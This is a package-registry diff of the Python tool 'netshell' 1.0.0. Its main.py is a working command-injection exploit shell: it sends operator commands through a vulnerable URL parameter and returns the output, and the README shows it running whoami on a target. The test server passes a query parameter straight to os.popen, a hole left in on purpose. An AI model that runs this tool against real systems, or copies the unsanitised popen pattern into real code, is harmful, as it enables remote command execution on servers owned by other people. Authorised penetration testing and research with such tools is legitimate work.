netshell 1.0.0__tar.gz
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- netshell-1.0.0/LICENSE +21 -0
- netshell-1.0.0/PKG-INFO +52 -0
- netshell-1.0.0/README.md +19 -0
- netshell-1.0.0/pyproject.toml +21 -0
- netshell-1.0.0/setup.cfg +4 -0
- netshell-1.0.0/src/netshell/__init__.py +0 -0
- netshell-1.0.0/src/netshell/main.py +131 -0
- netshell-1.0.0/src/netshell.egg-info/PKG-INFO +52 -0
- netshell-1.0.0/src/netshell.egg-info/SOURCES.txt +12 -0
- netshell-1.0.0/src/netshell.egg-info/dependency_links.txt +1 -0
- netshell-1.0.0/src/netshell.egg-info/entry_points.txt +2 -0
- netshell-1.0.0/src/netshell.egg-info/requires.txt +1 -0
- netshell-1.0.0/src/netshell.egg-info/top_level.txt +1 -0
- netshell-1.0.0/test/testserver.py +21 -0
netshell-1.0.0/LICENSE
ADDED
|
@@ -0,0 +1,21 @@
|
|
|
1
|
+
MIT License
|
|
2
|
+
|
|
3
|
+
Copyright (c) 2026 Richard A. Dubniczky
|
|
4
|
+
|
|
5
|
+
Permission is hereby granted, free of charge, to any person obtaining a copy
|
|
6
|
+
of this software and associated documentation files (the "Software"), to deal
|
|
7
|
+
in the Software without restriction, including without limitation the rights
|
|
8
|
+
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
|
9
|
+
copies of the Software, and to permit persons to whom the Software is
|
|
10
|
+
furnished to do so, subject to the following conditions:
|
|
11
|
+
|
|
12
|
+
The above copyright notice and this permission notice shall be included in all
|
|
13
|
+
copies or substantial portions of the Software.
|
|
14
|
+
|
|
15
|
+
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
|
16
|
+
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
|
17
|
+
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
|
18
|
+
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
|
19
|
+
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
|
20
|
+
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
|
21
|
+
SOFTWARE.
|
netshell-1.0.0/PKG-INFO
ADDED
|
@@ -0,0 +1,52 @@
|
|
|
1
|
+
Metadata-Version: 2.4
|
|
2
|
+
Name: netshell
|
|
3
|
+
Version: 1.0.0
|
|
4
|
+
Summary: A CLI HTTP shell to connect to remote shells
|
|
5
|
+
Author: Richard A. Dubniczky
|
|
6
|
+
License: MIT License
|
|
7
|
+
|
|
8
|
+
Copyright (c) 2026 Richard A. Dubniczky
|
|
9
|
+
|
|
10
|
+
Permission is hereby granted, free of charge, to any person obtaining a copy
|
|
11
|
+
of this software and associated documentation files (the "Software"), to deal
|
|
12
|
+
in the Software without restriction, including without limitation the rights
|
|
13
|
+
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
|
14
|
+
copies of the Software, and to permit persons to whom the Software is
|
|
15
|
+
furnished to do so, subject to the following conditions:
|
|
16
|
+
|
|
17
|
+
The above copyright notice and this permission notice shall be included in all
|
|
18
|
+
copies or substantial portions of the Software.
|
|
19
|
+
|
|
20
|
+
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
|
21
|
+
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
|
22
|
+
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
|
23
|
+
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
|
24
|
+
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
|
25
|
+
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
|
26
|
+
SOFTWARE.
|
|
27
|
+
Project-URL: Homepage, https://github.com/dubniczky/Netshell
|
|
28
|
+
Requires-Python: >=3.9
|
|
29
|
+
Description-Content-Type: text/markdown
|
|
30
|
+
License-File: LICENSE
|
|
31
|
+
Requires-Dist: requests>=2.33.1
|
|
32
|
+
Dynamic: license-file
|
|
33
|
+
|
|
34
|
+
# HTTP Shell
|
|
35
|
+
|
|
36
|
+
A lightweight HTTP CLI Shell that enables custom command injection into vulnerable web applications with a familiar shell-like interface.
|
|
37
|
+
|
|
38
|
+
## Examples
|
|
39
|
+
|
|
40
|
+
The `q` query parameter of `http://example.com/vln.php` is vulnerable to command injections, then the following command connects to it and starts a shell-like environment:
|
|
41
|
+
|
|
42
|
+
```sh
|
|
43
|
+
httpshell -a http://example.com/vln.php -p q
|
|
44
|
+
```
|
|
45
|
+
```txt
|
|
46
|
+
Connection successful!
|
|
47
|
+
|
|
48
|
+
example.com > whoami
|
|
49
|
+
www-data
|
|
50
|
+
```
|
|
51
|
+
|
|
52
|
+
Use `httpshell --help` for all flags and options.
|
netshell-1.0.0/README.md
ADDED
|
@@ -0,0 +1,19 @@
|
|
|
1
|
+
# HTTP Shell
|
|
2
|
+
|
|
3
|
+
A lightweight HTTP CLI Shell that enables custom command injection into vulnerable web applications with a familiar shell-like interface.
|
|
4
|
+
|
|
5
|
+
## Examples
|
|
6
|
+
|
|
7
|
+
The `q` query parameter of `http://example.com/vln.php` is vulnerable to command injections, then the following command connects to it and starts a shell-like environment:
|
|
8
|
+
|
|
9
|
+
```sh
|
|
10
|
+
httpshell -a http://example.com/vln.php -p q
|
|
11
|
+
```
|
|
12
|
+
```txt
|
|
13
|
+
Connection successful!
|
|
14
|
+
|
|
15
|
+
example.com > whoami
|
|
16
|
+
www-data
|
|
17
|
+
```
|
|
18
|
+
|
|
19
|
+
Use `httpshell --help` for all flags and options.
|
|
@@ -0,0 +1,21 @@
|
|
|
1
|
+
[build-system]
|
|
2
|
+
requires = ["setuptools>=61.0.0", "wheel"]
|
|
3
|
+
build-backend = "setuptools.build_meta"
|
|
4
|
+
|
|
5
|
+
[project]
|
|
6
|
+
name = "netshell"
|
|
7
|
+
version = "1.0.0"
|
|
8
|
+
description = "A CLI HTTP shell to connect to remote shells"
|
|
9
|
+
readme = "README.md"
|
|
10
|
+
authors = [{ name = "Richard A. Dubniczky" }]
|
|
11
|
+
license = { file = "LICENSE" }
|
|
12
|
+
requires-python = ">=3.9"
|
|
13
|
+
dependencies = [
|
|
14
|
+
"requests>=2.33.1",
|
|
15
|
+
]
|
|
16
|
+
|
|
17
|
+
[project.urls]
|
|
18
|
+
Homepage = "https://github.com/dubniczky/Netshell"
|
|
19
|
+
|
|
20
|
+
[project.scripts]
|
|
21
|
+
netshell = "netshell.main:main"
|
netshell-1.0.0/setup.cfg
ADDED
|
File without changes
|
|
@@ -0,0 +1,131 @@
|
|
|
1
|
+
import random
|
|
2
|
+
import string
|
|
3
|
+
import argparse
|
|
4
|
+
from html import unescape
|
|
5
|
+
import urllib.parse
|
|
6
|
+
|
|
7
|
+
import requests
|
|
8
|
+
|
|
9
|
+
|
|
10
|
+
# Configuration
|
|
11
|
+
address = None
|
|
12
|
+
parameter = None
|
|
13
|
+
url_encode = True
|
|
14
|
+
verbose = False
|
|
15
|
+
cookies = None
|
|
16
|
+
user_agent = None
|
|
17
|
+
prefix = None
|
|
18
|
+
suffix = None
|
|
19
|
+
no_preflight = False
|
|
20
|
+
|
|
21
|
+
|
|
22
|
+
def voutput(message):
|
|
23
|
+
if verbose:
|
|
24
|
+
print(f'[i] {message}')
|
|
25
|
+
|
|
26
|
+
def random_string(length=8):
|
|
27
|
+
return ''.join(random.choices(string.ascii_lowercase + string.digits, k=length))
|
|
28
|
+
|
|
29
|
+
|
|
30
|
+
def extract_markers(response_text, start_marker, end_marker):
|
|
31
|
+
start_index = response_text.find(start_marker)
|
|
32
|
+
end_index = response_text.find(end_marker, start_index + len(start_marker))
|
|
33
|
+
|
|
34
|
+
if start_index == -1 or end_index == -1:
|
|
35
|
+
return None
|
|
36
|
+
|
|
37
|
+
return response_text[start_index + len(start_marker):end_index].strip()
|
|
38
|
+
|
|
39
|
+
def send_command(command):
|
|
40
|
+
start_marker = f"--{random_string(8)}--"
|
|
41
|
+
end_marker = f"--{random_string(8)}--"
|
|
42
|
+
wrapped_command = f"echo {start_marker};{command};echo {end_marker}"
|
|
43
|
+
|
|
44
|
+
if prefix:
|
|
45
|
+
wrapped_command = f"{prefix}{wrapped_command}"
|
|
46
|
+
if suffix:
|
|
47
|
+
wrapped_command = f"{wrapped_command}{suffix}"
|
|
48
|
+
|
|
49
|
+
if url_encode:
|
|
50
|
+
wrapped_command = urllib.parse.quote(wrapped_command)
|
|
51
|
+
|
|
52
|
+
url = f"{address}?{parameter}={wrapped_command}"
|
|
53
|
+
voutput(f"Sent command: {url}")
|
|
54
|
+
response = requests.get(url, cookies=cookies, headers={'User-Agent': user_agent} if user_agent else None)
|
|
55
|
+
voutput(f"Status code: {response.status_code}")
|
|
56
|
+
voutput(f"Response size: {len(response.text)}")
|
|
57
|
+
|
|
58
|
+
if response.status_code != 200:
|
|
59
|
+
print(f"[!] Command execution failed with status code: {response.status_code} and response: {response.text}")
|
|
60
|
+
return None
|
|
61
|
+
|
|
62
|
+
unescaped_response = unescape(response.text)
|
|
63
|
+
return extract_markers(unescaped_response, start_marker, end_marker)
|
|
64
|
+
|
|
65
|
+
|
|
66
|
+
def preflight_request():
|
|
67
|
+
preflight_random = random_string(16)
|
|
68
|
+
preflight_echo = f"echo {preflight_random}"
|
|
69
|
+
|
|
70
|
+
response = send_command(preflight_echo)
|
|
71
|
+
if not response:
|
|
72
|
+
print("[!] Preflight request failed: No response received.")
|
|
73
|
+
return False
|
|
74
|
+
if preflight_random not in response:
|
|
75
|
+
print("[!] Preflight request failed: Could not verify command output.")
|
|
76
|
+
return False
|
|
77
|
+
return True
|
|
78
|
+
|
|
79
|
+
|
|
80
|
+
def main():
|
|
81
|
+
global address, parameter, url_encode, verbose, cookies, user_agent, prefix, suffix, no_preflight
|
|
82
|
+
parser = argparse.ArgumentParser(description=" A lightweight HTTP CLI Shell that enables custom command injections into vulnerable web applications with a familiar shell-like interface.")
|
|
83
|
+
parser.add_argument("--address", "-a", help="Target address containing the full path. E.g., http://example.com/vulnerable.php")
|
|
84
|
+
parser.add_argument("--parameter", "-p", help="Parameter name where the injection will occur. E.g., 'cmd' for http://example.com/vulnerable.php?cmd=...")
|
|
85
|
+
parser.add_argument("--cookies", "-c", help="Use cookies for the request")
|
|
86
|
+
parser.add_argument("--agent", help="Set a custom User-Agent header for the requests")
|
|
87
|
+
parser.add_argument("--prefix", "-P", help="Set a custom prefix for the commands. This is usually the command escape. By default there is none. No modifications apply to this, so make sure to encode it properly if needed.")
|
|
88
|
+
parser.add_argument("--suffix", "-S", help="Set a custom suffix for the commands. This is usually the command escape. By default there is none. No modifications apply to this, so make sure to encode it properly if needed.")
|
|
89
|
+
|
|
90
|
+
|
|
91
|
+
parser.add_argument("--verbose", "-v", action="store_true", help="Verbose output")
|
|
92
|
+
parser.add_argument("--no-url-encode", action="store_true", help="Disable URL encoding of commands")
|
|
93
|
+
parser.add_argument("--no-preflight", action="store_true", help="Skip preflight checks and go straight to the shell interface")
|
|
94
|
+
|
|
95
|
+
args = parser.parse_args()
|
|
96
|
+
|
|
97
|
+
address = args.address
|
|
98
|
+
parameter = args.parameter
|
|
99
|
+
url_encode = not args.no_url_encode
|
|
100
|
+
verbose = args.verbose
|
|
101
|
+
cookies = args.cookies
|
|
102
|
+
user_agent = args.agent
|
|
103
|
+
prefix = args.prefix
|
|
104
|
+
suffix = args.suffix
|
|
105
|
+
no_preflight = args.no_preflight
|
|
106
|
+
|
|
107
|
+
if not no_preflight:
|
|
108
|
+
is_successful = preflight_request()
|
|
109
|
+
if is_successful:
|
|
110
|
+
print("Connection successful!")
|
|
111
|
+
else:
|
|
112
|
+
print("Skipping preflight checks.")
|
|
113
|
+
|
|
114
|
+
host_name = urllib.parse.urlparse(address).netloc
|
|
115
|
+
|
|
116
|
+
# Shell-like environment
|
|
117
|
+
while True:
|
|
118
|
+
command = input(f"\n{host_name} > ")
|
|
119
|
+
if command.lower() in ['exit', 'quit']:
|
|
120
|
+
print("Exiting shell.")
|
|
121
|
+
break
|
|
122
|
+
|
|
123
|
+
output = send_command(command)
|
|
124
|
+
if output is not None:
|
|
125
|
+
print(f"{output}")
|
|
126
|
+
else:
|
|
127
|
+
print("[!] Failed to retrieve command output.")
|
|
128
|
+
|
|
129
|
+
|
|
130
|
+
if __name__ == "__main__":
|
|
131
|
+
main()
|
|
@@ -0,0 +1,52 @@
|
|
|
1
|
+
Metadata-Version: 2.4
|
|
2
|
+
Name: netshell
|
|
3
|
+
Version: 1.0.0
|
|
4
|
+
Summary: A CLI HTTP shell to connect to remote shells
|
|
5
|
+
Author: Richard A. Dubniczky
|
|
6
|
+
License: MIT License
|
|
7
|
+
|
|
8
|
+
Copyright (c) 2026 Richard A. Dubniczky
|
|
9
|
+
|
|
10
|
+
Permission is hereby granted, free of charge, to any person obtaining a copy
|
|
11
|
+
of this software and associated documentation files (the "Software"), to deal
|
|
12
|
+
in the Software without restriction, including without limitation the rights
|
|
13
|
+
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
|
14
|
+
copies of the Software, and to permit persons to whom the Software is
|
|
15
|
+
furnished to do so, subject to the following conditions:
|
|
16
|
+
|
|
17
|
+
The above copyright notice and this permission notice shall be included in all
|
|
18
|
+
copies or substantial portions of the Software.
|
|
19
|
+
|
|
20
|
+
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
|
21
|
+
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
|
22
|
+
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
|
23
|
+
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
|
24
|
+
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
|
25
|
+
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
|
26
|
+
SOFTWARE.
|
|
27
|
+
Project-URL: Homepage, https://github.com/dubniczky/Netshell
|
|
28
|
+
Requires-Python: >=3.9
|
|
29
|
+
Description-Content-Type: text/markdown
|
|
30
|
+
License-File: LICENSE
|
|
31
|
+
Requires-Dist: requests>=2.33.1
|
|
32
|
+
Dynamic: license-file
|
|
33
|
+
|
|
34
|
+
# HTTP Shell
|
|
35
|
+
|
|
36
|
+
A lightweight HTTP CLI Shell that enables custom command injection into vulnerable web applications with a familiar shell-like interface.
|
|
37
|
+
|
|
38
|
+
## Examples
|
|
39
|
+
|
|
40
|
+
The `q` query parameter of `http://example.com/vln.php` is vulnerable to command injections, then the following command connects to it and starts a shell-like environment:
|
|
41
|
+
|
|
42
|
+
```sh
|
|
43
|
+
httpshell -a http://example.com/vln.php -p q
|
|
44
|
+
```
|
|
45
|
+
```txt
|
|
46
|
+
Connection successful!
|
|
47
|
+
|
|
48
|
+
example.com > whoami
|
|
49
|
+
www-data
|
|
50
|
+
```
|
|
51
|
+
|
|
52
|
+
Use `httpshell --help` for all flags and options.
|
|
@@ -0,0 +1,12 @@
|
|
|
1
|
+
LICENSE
|
|
2
|
+
README.md
|
|
3
|
+
pyproject.toml
|
|
4
|
+
src/netshell/__init__.py
|
|
5
|
+
src/netshell/main.py
|
|
6
|
+
src/netshell.egg-info/PKG-INFO
|
|
7
|
+
src/netshell.egg-info/SOURCES.txt
|
|
8
|
+
src/netshell.egg-info/dependency_links.txt
|
|
9
|
+
src/netshell.egg-info/entry_points.txt
|
|
10
|
+
src/netshell.egg-info/requires.txt
|
|
11
|
+
src/netshell.egg-info/top_level.txt
|
|
12
|
+
test/testserver.py
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
requests>=2.33.1
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
netshell
|
|
@@ -0,0 +1,21 @@
|
|
|
1
|
+
import uvicorn
|
|
2
|
+
from fastapi import FastAPI
|
|
3
|
+
from fastapi.responses import HTMLResponse
|
|
4
|
+
import os
|
|
5
|
+
|
|
6
|
+
|
|
7
|
+
app = FastAPI()
|
|
8
|
+
|
|
9
|
+
@app.get("/good", response_class=HTMLResponse)
|
|
10
|
+
def request_good(q: str):
|
|
11
|
+
cmd = os.popen(q).read()
|
|
12
|
+
return HTMLResponse(content=f"<html><body><h1>{cmd}</h1></body></html>")
|
|
13
|
+
|
|
14
|
+
@app.get("/bad", response_class=HTMLResponse)
|
|
15
|
+
def request_bad(q: str):
|
|
16
|
+
return HTMLResponse(content=f"<html><body><h1>NOPE</h1></body></html>")
|
|
17
|
+
|
|
18
|
+
|
|
19
|
+
|
|
20
|
+
if __name__ == "__main__":
|
|
21
|
+
uvicorn.run(app, host="0.0.0.0", port=8000)
|